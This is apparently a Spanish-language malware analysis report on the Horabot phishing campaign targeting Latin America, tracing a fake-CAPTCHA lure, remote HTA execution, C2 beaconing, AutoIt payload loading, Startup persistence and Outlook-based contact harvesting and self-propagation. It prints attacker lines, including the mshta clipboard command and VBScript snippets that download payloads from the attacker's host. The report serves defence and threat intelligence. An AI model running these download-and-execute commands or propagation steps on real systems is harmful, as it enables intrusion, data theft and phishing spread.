La campaña Horabot es una operación maliciosa de alcance regional enfocada principalmente en usuarios y empresas de Latinoamérica, caracterizada por su uso de correos electrónicos de phishing en español como vector inicial. Desde su primera documentación pública en 2023 por Cisco Talos [1], el malware ha mostrado una evolución constante en sus técnicas de entrega, persistencia y ejecución de payloads.

En sus primeras versiones, Horabot se apoyaba en archivos comprimidos (RAR/ZIP) distribuidos a través de enlaces HTML maliciosos, los cuales contenían scripts por lotes (.bat/.cmd). Estos scripts utilizaban PowerShell para descargar binarios adicionales, renombrarlos y establecer persistencia mediante la creación de archivos .lnk en la carpeta de inicio (Startup). Asimismo, se observaba la generación de archivos auxiliares como .tws y .bat que actuaban como intermediarios para inyectar código y descargar payloads directamente en memoria.

En sus variantes más recientes (2024–2025), según reportes de Fortinet FortiGuard Labs [2], la cadena de infección se ha sofisticado. Actualmente, los atacantes integran archivos HTML/HTA con código ofuscado en VBScript, que permiten realizar verificaciones del entorno (antivirus, sandbox, virtualización) antes de continuar la ejecución. Posteriormente, el malware despliega múltiples componentes, incluyendo scripts en AutoIt, DLLs maliciosos y nuevos payloads, mientras que mantiene la persistencia mediante accesos directos (.lnk) y archivos ocultos con atributos de sistema.

Adicionalmente, una función clave que distingue a Horabot es el uso abusivo de Microsoft Outlook para auto-propagarse, enviando correos de phishing desde las cuentas comprometidas de las víctimas. Este patrón confirma que Horabot ha pasado de un esquema directo y poco sofisticado (script por lotes + PowerShell) hacia una infraestructura de entrega más avanzada, con múltiples capas de ofuscación, modularidad y controles de seguridad para garantizar la persistencia y maximizar el alcance de su campaña de phishing en la región.

Finalmente, se ha identificado la incorporación de una nueva fase en la cadena de infección: la implementación de un “fake CAPTCHA” en sitios web señuelo, diseñado para engañar al usuario haciéndole creer que debe resolver un control de seguridad antes de acceder al contenido[imagen 1]. Este paso adicional cumple un doble propósito: filtrar víctimas reales (humanos vs. Bots) y reforzar la legitimidad percibida del portal malicioso.

En el presente informe se analizará y mostrará en detalle parte de este procedimiento, explicando cómo funciona esta técnica y su rol dentro de la evolución de la campaña.

Imagen 1.Imagen 1. Cadena de infección

Entrega e Interacción

La campaña inicia con el envío de un correo electrónico fraudulento [imagen 2] cuyo objetivo es inducir al usuario a descargar y ejecutar un archivo malicioso. En este caso, el mensaje llegó con las siguientes características:

Asunto: FWD FACTURA con referencia: Sxxxxxx

Remitente: cajalc[@]soldemichoacan[.]com

Cuerpo del mensaje: Saludo y mención explícita del correo del destinatario para personalizar el ataque.

Texto breve con instrucción directa: "Aquí está su factura [correo del destinatario] con un monto de X cantidad."

Firma:  atribuida al DPO Financiero, buscando añadir legitimidad.

Adjunto: Archivo PDF nombrado como file-[correo_del_destinatario].pdf con fecha del día actual para aumentar credibilidad

Imagen 2. Correo fraudulento.

El PDF no contenía una factura real. En su lugar, incluía un botón falso con el texto:

"Para visualizar el documento haga clic en el siguiente botón para iniciar la descarga del archivo." [Imagen 3].

Imagen 3. Archivo pdf con boton que redirecciona al captcha falso.

Al hacer clic, el usuario es redirigido a la página web https[:]//atts[.]gruposhac[.]store/0out0408 esta página, se simula una pantalla de carga de Cloudflare para generar confianza y posteriormente se presenta un supuesto mecanismo de verificación anti-bot con el mensaje: [imagen 4].

“Para confirmar que no eres un robot, marca la opción abajo”

Imagen 4. Simulación de captcha 

Al seleccionar la casilla “No soy un robot”, se despliegan unas instrucciones visuales que indican al usuario que debe presionar una secuencia de teclas en su equipo:  [imagen 5].

Windows + R (abrir cuadro de diálogo Ejecutar)

CTRL + V (pegar un comando copiado automáticamente)

Enter (ejecutar el comando)

El código fuente [imagen 6] revela que, al marcar la casilla, se ejecuta la función JavaScript unsecuredCopyToClipboard() que copia automáticamente en el portapapeles el comando malicioso: mshta https[:]//pdj.gruposhac[.]lat/capcha[.]hta 

Imagen 5.Captcha Falso.

Imagen 6. Código  del captcha falso.

Este comando abre Microsoft HTML Application Host (mshta.exe) y carga de forma remota el archivo capcha.hta, el cual puede contener código VBScript o JScript capaz de ejecutar instrucciones en el sistema, estableciendo así la fase inicial de compromiso.

Command and control

La ejecución remota de  capcha[.]hta crea un nuevo archivo llamado Olak.hta  en la carpeta de temporales %TEMP%  y ejecutado por  explorer.exe que contiene parámetros para mover la ventana a las coordenadas 7426, 6245 las cuales son extremadamente grandes lo que hace  mover la ventana a un área no visible del escritorio para que la víctima no vea lo que está sucediendo [imagen 7]. De igual manera  crea un archivo llamado Olak.hta  con un elemento <script>  en <head>  que dispara automáticamente  un nuevo recurso remoto https[:]//pdj[.]gruposhac[.]lat/g1/auxld1/ especificando que el contenido es un  VBScript [imagen 8].

Imagen 7. Código de archivo Olak.hta.

El contenido del script crea un elemento HTML en memoria sin que este aun en el DOM, esto permite ejecutar código remoto de manera dinámica, ya que le indica al navegador que se ejecute de manera automática ya que el script está dentro de la etiqueta head. 

Imagen 8. Contenido VBScript.

Una vez que es ejecutado el VBScript de manera remota se hace abuso de COM hijacking  usando explorer.exe como host ya que se aprovecha de un CLSID legítimo, permitiendo recolectar información del sistema como Hostname, usuario activo, IP, configuración de red y versión del sistema operativo.

Valida si existe la  ruta C:\users\public\LAPTOP-0QF0NEUP4 en el equipo, si no la crea  con el objetivo de crear persistencia o staging de archivos temporales [imagen 9]. Una vez recopilada la información del equipo es envida al servidor remoto C2 https[:]//pdj[.]gruposhac[.]lat/g1/ctld/salvar[.]php mediante una petición POST [imagen 10].

Imagen 9. Recopilación de datos del sistema y envió al C2.

Imagen 10. Dispositivos infectados [se observaron 4,384 equipos infectados a la fecha de elaboración de este reporte]

Descarga de payloads

Una vez obtenida la información del host, se comienza con la siguiente fase que consiste en comprobar si el equipo si tiene la carpeta C:\Program Files\Avast es decir si tiene instalado esta versión de antivirus o algún otro. Posteriormente descargar binarios camuflados  con la ayuda de los objetos MSXML2.ServerXMLHTTP + ADODB.Stream (_Stream)  + Metodo Get desde la ruta https[:]//pdj[.]gruposhac[.]lat/g1/hacia la carpeta C:\users\public\LAPTOP-0QF0NEUP4[imagen 11], sin embargo, se observa que descarga archivos con extensiones  .txt .gif que  posteriormente serán convertidos en binario .exe, .ia. y .gif

exe.txt → Fifuz.exe
IServerXMLHTTPRequest2.open("GET", "https://pdj.gruposhac.lat/g1/exe.txt", "false");
_Stream.SaveToFile("C:\users\public\LAPTOP-0QF0NEUP4\\Fifuz.exe", "2");

6.txt → Ivodu.ia
IServerXMLHTTPRequest2.open("GET", "https://pdj.gruposhac.lat/g1/6.txt", "false");
_Stream.SaveToFile("...\Ivodu.ia", "2");

gerador.php → Over.gif
IServerXMLHTTPRequest2.open("GET", "https://pdj.gruposhac.lat/g1/gerador.php", "false");
_Stream.SaveToFile("...\atx.gif", "2");

sc.gif → Ujaluru.exe
IServerXMLHTTPRequest2.open("GET", "https://pdj.gruposhac.lat/g1/sc.gif", "false");

_Stream.SaveToFile("C:\users\public\LAPTOP-0QF0NEUP4\Ujaluru.exe", "2");

Imagen 11. Descarga de payloads.

Imagen 11. Muestra de la descarga.

Validando los archivos  exe.txt(Fifuz.exe) y sc.gif (Ujaluru.exe) en realidad son ejecutables  legítimos de Autolt3 y Aut2exe.exe, este último es usado  utilizado para convertir el script atx.gif  en un archivo autolt encargado de descifrar la carga útil cifrada Ivodu.ia [imagen 12]. Esto se  observó a nivel de línea de comandos por una muestra alterna [imagen 13], pero con el mismo comportamiento, ya que los archivos solo son renombrados para cada objetivo. 

Imagen 12. validación de los archivos sc.gif (Ujaluru.exe) y exe.txt (Fifuz.exe).

Imagen 13. Abuso de Autolt para ejecución de scripts camuflajeados.

Persistencia y borrado de logs

Una vez descargado los payloads crea persistencia ejecutando el binario Ujalur desde la ruta C:\users\public\LAPTOP-0QF0NEUP4 haciendo uso del comando Showcmd “0” para ocultar la ventana de ejecución. Cambia las propiedades a los archivos Fifuz.exe, Ivodu.ia, Laceker.ai mediante la sentencia attrib +R +S +H para que permanezcan ocultos. Crea un archivo de texto con el nombre id en la ruta C:\Users\Public\ pasando como línea de texto la fecha de infección del dispositivo con el objetivo de marcarlo o identificarlo. Posteriormente obtiene la ruta del directorio de inicio del usuario con la función IWshShell3.SpecialFolders("Startup"); esto le permite crear accesos directos(.lnk) dentro de la carpeta Startup [imagen 14].

Vacamu.lnk es creado dentro de la carpeta Startup con el destino real Fifuz.exe(Autolt3) y pasando como argumento Ivodu.ia para ejecutar y descifrar la carga útil (Ivodu.ia) .Define el directorio de trabajo desde donde se ejecutará el binario además de que hace que el acceso directo tenga como icono el de Windows Explorer para que el usuario lo confunda con un acceso legítimo de Windows,todo esto con la función IWshShortcut.WindowStyle("7"); que indica que se ejecuta en modo minimizado sin foco es decir en segundo plano. Todo esto en conjunto permite ejecutarse cada inicio de sesión por parte del usuario.

Imagen 14. Creación de archivos .lnk dentro del directorio Startup.

Se crea un archivo por lotes .bat para decodificar un archivo de texto (.tws) y ejecutar un script  de PowerShell [imagen 15] el cual será alojado en memoria del sistema  desde la ruta https[:]//updatec[.]lat/a/reserva/up/up, esto se logró observar ya que al crear el archivo por lotes le pasa la función ITextStream.Write(...) que le permite escribir instrucciones para cargar el contenido del archivo .tws  el cual requiere decodificación, la llave es cargada dentro del mismo archivo obteniendo la url de la ejecución remota del payload [imagen 16].

Imagen 15. Creación persistencia para el archivo por lotes  y ejecución.

Imagen 16.  Des ofuscación del contenido del archivo .tws

Al intentar validar  el contenido de la ruta https[:]//updatec[.]lat/a/reserva/up/up no fue posible, ya que  no se encuentra disponible en ese momento [imagen 17] por que los actores constantemente están cambiando los dominios donde  alojan los archivos de su operación y así  evitar ser detectados o continuar con su operación aun cuando ya han sido detectados anteriormente. Afortunadamente, fue posible validar esta ultima fase derivado de la obtención y ejecución de las muestras en un entorno aislado. Al ejecutar autoit pasando como parámetro los archivos. ia se crea un hilo o tarea  relacionada con la aplicación sticky Notes de Windows (notas rápidas) esto se hace pasar por un proceso valido, haciendo más difícil su detección [imagen 18].

Al realizar una captura de paquetes [imagen 19] se observó la comunicación con el dominio cgf[.]facturastbs[.]shop (104.21.32.1) este dominio aloja el resultado de la ejecución de los scripts de la url https[:]//updatec[.]lat/a/reserva/up/up los cuales abusan del aplicativo de Outlook para obtener una lista de víctimas desde el propio buzón del usuario infectado, para posteriormente enviar correos electrónicos maliciosos camuflajeados con facturas legitimas. A diferencia de las campañas anteriores observadas y analizadas por otras entidades, esta implementa la adición de fake captcha haciendo abuso de la ingeniería social como primer punto de partida.

Imagen 17. Url no disponible de la última fase.

Imagen 18. Ejecución del script y creación de tarea en el sistema. 

Imagen 19. Captura de paquetes. 

Propagación

La manera en que se propaga esta campaña es mediante la ejecución de scripts alojados en la siguiente ruta que a su vez realiza el llamado hacia otras 6 urls  “https[:]//cgf[.]facturastbs[.]shop/a/08/150822/au/gerauto[.]php” [imagen 20] “https[:]//cgf[.]facturastbs[.]shop/a/08/150822/au/”: “app”, “a2”, “a3”, “a4”, “a5” y “a6”. Solo la “app” retorna otro código ofuscado donde contiene funciones para  completar la creación de una lista de víctimas, además de la automatización del envió de  y entrega de los correos maliciosos.

Imagen 20. Payload para el correo electrónico.

En campañas anteriores cada url representaba una función que realizar, sin embargo, han estado modificando continuamente el código y ahora las funciones “a2” y “a3”  Se encuentra dentro de “app” [imagen 21]. Las funciones del script es cerrar el proceso de Outlook de manera forzada esto para garantizar que pueda iniciarse correctamente mediante un objeto COM. Después crear un objeto Outlook.Application y acceder a su espacio de nombres MAPI.

Imagen 21. Cierre del proceso de Outlook.

El funcion "a2" contiene dos funciones para crear una lista de direcciones de correo electrónico. La primera función analiza los datos de contacto en las listas de direcciones de Outlook. comprueba el tipo de usuario de entrada de dirección (AddressEntryUserType) para determinar si la dirección de correo electrónico puede recuperarse directamente o debe resolverse mediante GetExchangeUser() para extraer la dirección SMTP principal.

 La segunda función recorre recursivamente todas las carpetas de la estructura del buzón de Outlook, extrayendo y filtrando las direcciones de correo electrónico de los destinatarios y remitentes de cada mensaje utilizando la misma lógica [Imagen 22].

Imagen 22.Muestra de código de exfiltración de correos del usuario comprometido.

El funcion "a3" guarda las direcciones recopiladas en "APPDATA\Microsoft\.Outlook" y transmite la lista de correo electrónico a un servidor externo, " https[:]//cgf[.]facturastbs[.]shop/a/08/150822/au/tst/index[.]php?list ". esto indica que recopila todas las direcciones de correo para que sean utilizadas posteriormente en otras campañas y no sean bloqueados los remitentes [Imagen23].

Imagen 23. Exfiltración de direcciones de correo electrónico.

En esta campaña no se tiene marcado las funciones a4, a5 y a6 sin embargo dentro del script "app" crea y envía correos electrónicos maliciosos camuflados en facturas legítimas con un archivo PDF adjunto. Los pasos que realiza son establecer una ruta del archivo HTML temporal que será creado para después a través de Microsoft Edge imprimir el archivo HTML a PDF (con "Microsoft Print to PDF")  [Imagen24].

Imagen 24. Creación del archivo PDF que simula ser una factura.

A continuación, se prepara para enviar este archivo como adjunto a través de Outlook. Referencia la dirección de correo electrónico extraída, excluyendo dominios que tienen filtrados mediante la función "Verificar-PalavrasBloqueadas" (Check-BlockedEmail) [imagen 25].

Para cada objetivo válido, crea un correo electrónico con un asunto que hace referencia a una "Factura Adjunta FWD", un mensaje en español sobre la factura que además contiene la url del que te redirige al fakecapta https[:]//thea[.]gruposhac[.]space/0out0408 [Imagen 26].

Imagen 24. Funcion - Verificar-PalavrasBloqueadas para el envió de correos.

Imagen 25. Creación y redistribución de la campaña desde el usuario infectado.